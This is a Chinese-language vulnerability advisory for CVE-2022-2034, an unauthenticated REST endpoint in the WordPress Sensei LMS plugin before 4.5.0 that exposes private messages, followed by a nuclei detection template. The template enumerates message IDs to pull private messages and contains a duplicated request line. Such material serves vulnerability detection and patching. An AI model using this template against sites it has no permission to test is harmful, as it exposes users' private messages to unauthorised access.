WordPress Sensei LMS 信息泄露漏洞

漏洞信息

漏洞名称： WordPress Sensei LMS 信息泄露漏洞

漏洞编号：

• CVE： CVE-2022-2034

漏洞类型： 信息泄露

漏洞等级： 中危

漏洞描述： WordPress Sensei LMS是一款流行的学习管理系统插件，广泛用于WordPress网站上创建和管理在线课程。它提供了课程管理、学生跟踪、测验和证书等功能，适用于教育机构和个人教师。该插件因其易用性和丰富的功能而受到广泛欢迎。

该漏洞存在于WordPress Sensei LMS插件4.5.0之前的版本中，属于信息泄露类型。漏洞的技术根源在于插件的一个REST端点没有设置适当的权限控制，导致攻击者可以未经授权访问私人消息。这种权限缺失使得攻击者能够利用该漏洞获取敏感信息，从而可能对用户隐私构成威胁。

此漏洞的影响程度被评定为中危，因为它允许攻击者获取敏感信息，但不需要复杂的攻击手段即可利用。攻击者无需认证即可利用此漏洞，且可以自动化执行攻击。虽然漏洞不会直接导致系统被完全控制，但泄露的私人信息可能被用于进一步的攻击或欺诈行为。因此，建议用户尽快升级到4.5.0或更高版本以修复此漏洞。

产品厂商： automattic

产品名称： WordPress Sensei LMS

影响版本： version < 4.5.0

来源： https://github.com/projectdiscovery/nuclei-templates/blob/d694ffeb6baa526904249ded765790e5726c0b03/http%2Fcves%2F2022%2FCVE-2022-2034.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2022-2034

info:
  name: WordPress Sensei LMS <4.5.0 - Information Disclosure
  author: imhunterand
  severity: medium
  description: |
    WordPress Sensei LMS plugin before 4.5.0 is susceptible to information disclosure. The plugin does not have proper permissions set in a REST endpoint, which can allow an attacker to access private messages.
  remediation: |
    Upgrade WordPress Sensei LMS to version 4.5.0 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/aba3dd58-7a8e-4129-add5-4dd5972c0426
    - https://hackerone.com/reports/1590237
    - https://wordpress.org/plugins/sensei-lms/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2034
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-2034
    cwe-id: CWE-639
    epss-score: 0.48133
    epss-percentile: 0.97610
    cpe: cpe:2.3:a:automattic:sensei_lms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 101
    vendor: automattic
    product: sensei_lms
    framework: wordpress
  tags: cve,cve2022,wp,disclosure,wpscan,sensei-lms,fuzz,hackerone,wordpress,wp-plugin,automattic

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/"

    matchers:
      - type: word
        words:
          - "sensei"
          - "wp-json"
        condition: or
        internal: true

  - method: GET
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/sensei-messages/{{num}}"

    payloads:
      num: helpers/wordlists/numbers.txt
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'sensei_message'
          - 'guid":{"rendered":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
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